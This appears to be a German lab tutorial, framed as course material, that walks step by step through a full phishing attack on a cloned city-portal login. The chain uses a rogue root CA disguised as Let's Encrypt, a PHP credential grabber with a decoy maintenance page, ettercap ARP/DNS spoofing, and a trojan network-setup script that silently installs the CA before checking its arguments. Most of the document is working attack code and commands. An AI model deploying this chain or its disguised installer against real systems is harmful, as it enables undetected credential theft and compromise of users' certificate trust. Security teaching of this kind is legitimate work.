Komplette Angriffskette Web Server
Phishing mit gültigem TLS: DNS-Spoofing und untergeschobene Root-CA
In dieser Übung bauen wir eine vollständige Phishing-Kette gegen einen Client im Labornetz. Ziel ist nicht nur, eine Login-Seite zu klonen und Zugangsdaten abzugreifen - das allein löst beim Opfer eine Zertifikatswarnung aus, sobald HTTPS im Spiel ist. Der eigentliche Lerninhalt ist, wie ein Angreifer diese Warnung beseitigt: Wer es schafft, dem Opfer eine eigene Certificate Authority in den Trust Store zu schieben, kann jede beliebige Seite mit gültigem, grünem Schloss fälschen. Die Lektion für die Teilnehmer lautet deshalb: Das Schloss-Symbol bedeutet nicht „vertrauenswürdig", sondern nur „verschlüsselt" - und wer die vertrauten Zertifikate auf einem Gerät kontrolliert, kontrolliert das Vertrauen.
Wir bauen die Kette Schritt für Schritt auf: erst die eigene CA und das Serverzertifikat, dann den Phishing-Webserver mit TLS, den geklonten Auftritt samt Credential-Grabber, anschließend die Umleitung des Opfers per DNS-Spoofing - und zuletzt den Köder, der dem Opfer die entscheidende CA unterschiebt.
Wir wollen Let's Encrypt nachbauen
Zuerst erstellen wir unsere eigene Zertifizierungsstelle. Sie spielt die Rolle, die im echten Internet Let's Encrypt einnimmt — nur dass wir sie selbst kontrollieren. Damit sie später möglichst unauffällig wirkt, geben wir ihr einen glaubwürdigen Namen (Organisation „Let's Encrypt", CN „R12"). Alles, was diese CA signiert, gilt später als gültig — sofern ihr Zertifikat im Trust Store des Opfers liegt.
- CA=fake-ca
- openssl req -new -x509 -newkey rsa:4096 -nodes -keyout $CA.key -out $CA.crt -days 3650 -subj "/CN=R12 /O=Let's Encrypt /C=US"
Wir wollen ein Zertifikat für die Zielseite erstellen
Jetzt stellen wir ein Serverzertifikat für den Namen der Zielseite aus und lassen es von unserer eben erzeugten CA signieren. Damit haben wir ein Zertifikat, das exakt auf www.zweebrigge.de lautet und für jeden gültig ist, der unserer CA vertraut.
- Variable gesetzt
- FQDN=www.zweebrigge.de
- Request erstellt
- openssl req -new -newkey rsa:4096 -nodes -keyout $FQDN.key -out $FQDN.csr -subj "/CN=$FQDN"
- Signiert
- openssl x509 -req -days 1460 -in $FQDN.csr -CA $CA.crt -CAkey $CA.key -CAcreateserial -out $FQDN.crt -extfile <(echo "subjectAltName=DNS:$FQDN")
Zertifikate an die richtige Stelle bringen
Die CA legen wir in den System-Trust-Store des Angreifers (damit lokale Tests ohne Warnung laufen), das Serverzertifikat und seinen Schlüssel dorthin, wo Apache sie später erwartet.
- Zertifikat der Zertifizierungsstelle zu den Stammzertifikaten des OS hinzufügen.
- sudo cp $CA.crt /usr/local/share/ca-certificates
- sudo update-ca-certificates
- Zertifikat und Key des Webservers an die richtige Stelle bringen.
- sudo cp $FQDN.crt /etc/apache2/own.crt
- sudo cp $FQDN.key /etc/apache2/own.key
Apache einrichten
Der Phishing-Webserver muss HTTPS sprechen, sonst nützt uns das ganze Zertifikat nichts. Wir aktivieren das SSL-Modul, tragen unser Zertifikat und den Schlüssel in den virtuellen Host ein und starten Apache neu. Der abschließende Check bestätigt, dass Apache auf Port 443 lauscht.
- SSL aktivieren
- a2enmod ssl
- Konfiguration
- cat /etc/apache2/sites-enabled/000-default.conf
<IfModule mod_ssl.c>
<VirtualHost *:443>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
SSLEngine on
SSLCertificateFile /etc/apache2/own.crt
SSLCertificateKeyFile /etc/apache2/own.key
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
</IfModule>
- Restart
- sudo systemctl restart apache2
- Check
- sudo ss -lntp | grep 443
LISTEN 0 511 *:443 *:* users: (("apache2",pid=324865,fd=6),("apache2",pid=324864,fd=6), ("apache2",pid=324863,fd=6),("apache2",pid=324862,fd=6),("apache2",pid=324861,fd=6),("apache2",pid=44955,fd=6))
Webseite spiegeln
Mit HTTrack ziehen wir eine 1:1-Kopie der echten Login-Seite auf unseren Webserver. Der Klon sieht für das Opfer identisch aus. HTTrack legt den Klon in einem Unterordner mit dem Hostnamen an, dessen Inhalt wir eine Ebene hochziehen, damit die Seite direkt im DocumentRoot liegt.
- cd /var/www/html
- Wir sind Hacker die Rechte sind unrelevant ;-) (nur im Wegwerf-Labor!)
- chmod 777 .
- rm -r *
- httrack https://www.zweebrigge.de
- mv www.zweebrigge.de/* .
- rm -r www.zweebrigge.de
Wir bauen einen Loot-Grabber
Der Klon ist statisch - er verarbeitet keine Anmeldungen. Das übernimmt unser eigenes login.php, das genau dorthin zeigt, wohin das Formular postet. Es schreibt die eingetippten Zugangsdaten mit Zeitstempel und Opfer-IP in eine Logdatei und zeigt dem Opfer danach eine plausible Wartungsmeldung. So denkt das Opfer an eine kurze Störung, versucht es später auf der echten Seite erneut - dort klappt es, und der Verdacht verpufft. Die Zugangsdaten sind da längst bei uns.
- vi login.php
<?php
// --- Credential-Grabber (Kursszenario) ---
// Empfängt die vom geklonten Formular gesendeten Zugangsdaten,
// schreibt sie mit Zeitstempel und Opfer-IP in eine Logdatei
// und zeigt dem Opfer eine Störungsmeldung.
$user = $_POST['username'] ?? '';
$pass = $_POST['password'] ?? '';
$ip = $_SERVER['REMOTE_ADDR'] ?? 'unbekannt';
$zeit = date('Y-m-d H:i:s');
// In Logdatei anhängen (im DocumentRoot)
$zeile = "$zeit | $ip | $user | $pass\n";
file_put_contents('/var/www/html/loot.log', $zeile, FILE_APPEND | LOCK_EX);
?>
<!DOCTYPE html>
<html lang="de">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Stadtportal Zweebrigge – Wartung</title>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
background: linear-gradient(135deg, #1e3a5f 0%, #2c5282 100%);
min-height: 100vh; display: flex; align-items: center; justify-content: center;
color: #1a202c;
}
.card {
background: #fff; border-radius: 12px; box-shadow: 0 10px 40px rgba(0,0,0,0.25);
width: 100%; max-width: 440px; padding: 40px; text-align: center;
}
.icon { font-size: 44px; margin-bottom: 12px; }
h1 { font-size: 20px; color: #1e3a5f; margin-bottom: 12px; }
p { font-size: 14px; color: #4a5568; line-height: 1.6; margin-bottom: 10px; }
.hint { font-size: 13px; color: #718096; margin-top: 18px; }
a {
display: inline-block; margin-top: 24px; padding: 11px 22px;
background: #2c5282; color: #fff; text-decoration: none;
border-radius: 6px; font-size: 14px; font-weight: 600;
}
a:hover { background: #1e3a5f; }
.footer { font-size: 12px; color: #a0aec0; margin-top: 28px; }
</style>
</head>
<body>
<div class="card">
<div class="icon">⚠️</div>
<h1>Dienst vorübergehend nicht verfügbar</h1>
<p>Das Stadtportal ist derzeit aufgrund von Wartungsarbeiten nicht erreichbar.</p>
<p>Bitte versuchen Sie es in einigen Minuten erneut.</p>
<p class="hint">Wir bitten die Unannehmlichkeiten zu entschuldigen.</p>
<a href="index.html">Zurück zur Anmeldung</a>
<div class="footer">© 2026 Stadtverwaltung Zweebrigge</div>
</div>
</body>
</html>
- Die geklauten Credentials landen in
- tail -f /var/www/html/loot.log
Selbsttest auf Kali
Bevor wir das Opfer angreifen, prüfen wir den Aufbau lokal. Der Hosts-Eintrag lässt www.zweebrigge.de auf dem Angreifer selbst auf localhost zeigen, sodass wir den Klon im eigenen Browser aufrufen können. Damit dabei keine Warnung erscheint, muss die Fake-CA in den Trust Store des Testbrowsers. Achtung: Firefox auf Kali nutzt nicht den System-Store, sondern seine eigene Zertifikatsdatenbank — die CA muss dort per certutil eingetragen werden. Nach dem Test den Hosts-Eintrag wieder entfernen.
- Hosts für die Simulation vorbereiten
- echo 127.0.0.1 $FQDN | sudo tee -a /etc/hosts
- Fake-CA in die Firefox-Zertifikatsdatenbank eintragen (Firefox vorher schließen)
- for p in ~/.mozilla/firefox/*.default-esr; do certutil -A -n "Fake LE Root" -t "TC,," -i $CA.crt -d sql:"$p"; done
- Nach dem Test wieder aufräumen
- sudo sed -i '/zweebrigge/d' /etc/hosts
DNS-Eintrag für den Spoof anlegen
Für den eigentlichen Angriff soll das Opfer beim Auflösen von www.zweebrigge.de unsere Angreifer-IP erhalten statt der echten. Diese gefälschte Zuordnung tragen wir in die ettercap-DNS-Datei ein.
- echo -e "$FQDN A 10.0.10.101" > /etc/ettercap/etter.dns
ettercap mit DNS-Plugin starten
Jetzt schalten wir den Angriff scharf. ettercap setzt sich per ARP-Spoofing zwischen Opfer und Netz (Man-in-the-Middle) und beantwortet DNS-Anfragen nach unserer etter.dns — das Opfer bekommt für die Zielseite unsere IP. Kombiniert mit dem gültigen Zertifikat und der untergeschobenen CA landet das Opfer ohne jede Warnung auf unserem Klon.
- OPFER=10.0.10.77
- ANGREIFER=10.0.10.101
- ettercap -Tq -i eth0 -M arp -P dns_spoof /$OPFER,$ANGREIFER///$ANGREIFER,$OPFER//
Der Köder: getarntes Setup-Skript
Damit das Opfer unsere CA überhaupt vertraut, müssen wir sie auf dessen System bringen. Das erledigt ein Köder - ein Skript, das sich als harmloses Netzwerk-Konfigurationswerkzeug ausgibt. Das Opfer soll damit „nur seine IP einstellen". Tatsächlich installiert das Skript im Hintergrund unsere Fake-CA in den System-Trust-Store. Der Clou: Die CA-Installation läuft ganz am Anfang, noch vor jeder Parameterprüfung - selbst wenn das Opfer das Skript „falsch" oder ohne Argumente aufruft und es scheinbar mit einer Fehlermeldung abbricht, ist die CA zu diesem Zeitpunkt längst eingespielt. Auf dem grafischen Rocky-Client greift Firefox über p11-kit automatisch auf den System-Store zu, ein separater Browser-Schritt entfällt.
- cat rocky-setup.sh
#!/bin/bash
# Standardwerte setzen
FQDN=""
ADDR=""
GW=""
NS=""
USE_DHCP=0
IFACE="enp0s3"
# Optionen mit getopts parsen
while getopts "f:a:g:n:d" opt; do
case $opt in
f) FQDN="$OPTARG" ;;
a) ADDR="$OPTARG" ;;
g) GW="$OPTARG" ;;
n) NS="$OPTARG" ;;
d) USE_DHCP=1 ;;
*) echo "Ungültige Option" >&2; exit 1 ;;
esac
done
# Fake-CA in den System-Trust-Store bringen
fake-ca() {
local anchor=/etc/pki/ca-trust/source/anchors/fake-ca.crt
if [[ ! -f "$anchor" ]]; then
cat <<'HERE' > "$anchor"
-----BEGIN CERTIFICATE-----
MIIFSzCCAzOgAwIBAgIUBqQC23BfFtxEqrflKQ86T2obupkwDQYJKoZIhvcNAQEL
BQAwNTENMAsGA1UEAwwEUjEyIDEXMBUGA1UECgwOTGV0J3MgRW5jcnlwdCAxCzAJ
BgNVBAYTAlVTMB4XDTI2MDgxNzE4MzgwM1oXDTM2MDgxNDE4MzgwM1owNTENMAsG
A1UEAwwEUjEyIDEXMBUGA1UECgwOTGV0J3MgRW5jcnlwdCAxCzAJBgNVBAYTAlVT
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAzrmKW3eRwGi/164l/8fi
oHRoSFArZZyn1FIOzWBYPeOlNDnO1otuGfi0epuxNmqqErfGVX/9Ksn5gGFBTOxX
tOvcYx40ec14WTe2WeqbCYc9F5zMgtnZJDlmi8/99K15oSKfKzznMmxSjxo3QB1A
6gqWLF0kIS82kxta98bD69sl2naylGR0OfyXEemot0XxbDtjlzqtJ7uy5151AQyj
i8I68KGQaXCTzY+RhF0Cw/9NIjLvgzxaDgvimF4dtzZi/3OURzagTGycACWRRK0K
DTa2xGT+lmfwHZAmMq97lFXaLrKXHFiulqnhwlG1u858iuYQU7J5s48foACxjOsE
ohKjH6FniAGn1l9LXhIG4+e4xUbrxpsynxBFa4J6ufs5vJG72AMSYPfypqXwFr1r
zfuC9cAnuwDMXUzFY+FUkPBCCQyvwsmayVtvbR5c99H0Z2mJN0l0lUNf5ScuHl6k
XYQbZy+XEy+mz8KA9cgagxk3epHR7+LKusptinHKU3q+yus9uqNSxNefQaltAwOS
TnuJVP6gtabXqcIPS81e9zyyD4tz3RBbKOIuFu5uejbKaZaBjtwbByhchJ8vtRn+
i5yLNjT0lx4m0Twc43LGEYgtRbu2jqoC2z/eP3ytMdtAn35crqluKMto/o74yVAC
GiiFZXqddHujkH0u/vN+ISECAwEAAaNTMFEwHQYDVR0OBBYEFDbT2gEhhiQ8Qo6X
rlcmmTero9oBMB8GA1UdIwQYMBaAFDbT2gEhhiQ8Qo6XrlcmmTero9oBMA8GA1Ud
EwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggIBAFo9JEA2y5Qhf8qu7sAsCHIf
vuVJoQZJ/I2J2P5A6Hp3cm1kcINcJDlEMS5dLeFU0233TfnsLabjURDaLEmRgdD+
kxDuXOK/lohjY4MvNGuCMxEtmm/up08y2MHOpZPzSs8wIXZJK8NaUO8Dr3pnAnb3
3983jD877+mBzEf0FIoJfq5iWLidKJQTRz8UP/WY4vGrh+nw5J8sI29QEe9oCvtT
ZqfmXx5hVuW/l5pQ5VFrJc25XcXCE5f8ajnJEbG3qL0We+SaWrpatUGSgMIqklKT
JGtZ9SYd0KlosIR8GI6w8vO/Fz35go3ODCC1Sdlqdzm0dOuwjVkuC5rrlpz3icx2
Y0aKSqEiPP0sXGjfEUXleVspzG7yR7DLZBrmw6NXyqjv620QRUGRaLwsD+cGo0lm
vG8gGLeXvGcsR/BaEFrKomf99uCoKkO2KZhn91beypIcUCAYmj+YpF15sOK0ot/O
9d3p7XaIgxq2K9fwon7vpEW804eWR8bF5vQCaOByDV6NlBrpAFbKxmxhbVbyHblY
YTt/xOevOQBZH9oc31Y4Sw01a44zKMvbQTrberCt712bi1jWz2UrKSSxx8pbi5uS
LViicxybqMZq7MKykVNlDFj0Ut5wqX42UaTgWHOORrDRHG3xE1Jn2X0cJFC6eASk
/+MfaP2OZy0vBhSj1rLI
-----END CERTIFICATE-----
HERE
update-ca-trust
fi
}
# Fake-CA einspielen
fake-ca
# Gültigkeit prüfen
if [[ -z "$FQDN" ]]; then
echo "Fehlender FQDN! Nutzung:"
echo "$0 -f <FQDN> [-d | -a <IP/CIDR> -g <Gateway> -n <Nameserver>]"
exit 1
fi
if (( USE_DHCP == 1 )); then
if [[ -n "$ADDR" || -n "$GW" || -n "$NS" ]]; then
echo "Fehler: -d darf nicht mit -a, -g oder -n kombiniert werden." >&2
exit 1
fi
else
if [[ -z "$ADDR" || -z "$GW" || -z "$NS" ]]; then
echo "Fehlende Argumente für statische Konfiguration! Nutzung:"
echo "$0 -f <FQDN> [-d | -a <IP/CIDR> -g <Gateway> -n <Nameserver>]"
exit 1
fi
fi
# Hostname setzen
hostnamectl set-hostname "$FQDN"
# Alte NM-Verbindung löschen
nmcli connection delete "$IFACE" >/dev/null 2>&1
# DHCP- oder statische Konfiguration
if (( USE_DHCP == 1 )); then
nmcli connection add type ethernet ifname "$IFACE" con-name "$IFACE" ipv4.method auto ipv6.method ignore
else
nmcli connection add type ethernet ifname "$IFACE" con-name "$IFACE" \
ipv4.method manual \
ipv4.addresses "$ADDR" \
ipv4.gateway "$GW" \
ipv4.dns "$NS" \
ipv6.method ignore
fi
# Verbindung aktivieren
nmcli connection up "$IFACE"
Download vorbereiten
Wir stellen den Köder über einen simplen Webserver bereit, von dem das Opfer ihn herunterlädt.
- python3 -m http.server
Wir nehmen einen grafischen Rocky-Client
Als Opfer dient ein grafischer Rocky-Client aus einem Template.
- rocky-desktop-template runter laden
- Importieren
- Klonen
Spätere Netzkonfiguration
Diese Werte gibt das Opfer beim Aufruf des Köders an — vorgeblich zur Netzeinrichtung.
| Parameter | Wert | Erläuterung |
|---|---|---|
| Netzwerk (NIC) | DMZ | Interface-Zuweisung in VirtualBox |
| IP | 10.0.10.77 | Statische IP |
| CIDR | 24 | Classless Inter-Domain Routing Präfixlänge |
| GW | 10.0.10.1 | GATEWAY |
| NS | 10.0.10.103 | Resolver |
| FQDN | rocky-desktop.secure.local | Fully Qualified Domain Name |
Opfer lädt den Köder herunter
Aus Sicht des Opfers: Es folgt einer (vorgeblich hilfreichen) Anweisung, lädt das „Setup-Skript" herunter und macht es ausführbar.
- sudo -i
- cd /usr/local/sbin
- wget http://10.0.10.101:8000/rocky-setup.sh
- chmod +x rocky-setup.sh
Opfer stellt das Netzwerk nach Vorgaben ein
Das Opfer ruft den Köder mit den vorgegebenen Netzwerkparametern auf. Es sieht nur, dass seine IP gesetzt wird — die CA-Installation im Hintergrund bemerkt es nicht.
- ./rocky-setup.sh -f rocky-desktop.secure.local -a 10.0.10.77/24 -g 10.0.10.1 -n 10.0.10.103
Opfer geht auf die Webseite
Das Opfer ruft die Seite auf. Dank DNS-Spoof landet es auf unserem Klon, dank Zertifikat und untergeschobener CA ohne jede Warnung — grünes Schloss inklusive. Es tippt seine Zugangsdaten ein und sieht die Wartungsmeldung.
Wir klauen die Zugangsdaten auf Kali
Auf dem Angreifer laufen die abgegriffenen Zugangsdaten live in der Logdatei ein.
- tail -f /var/www/html/loot.log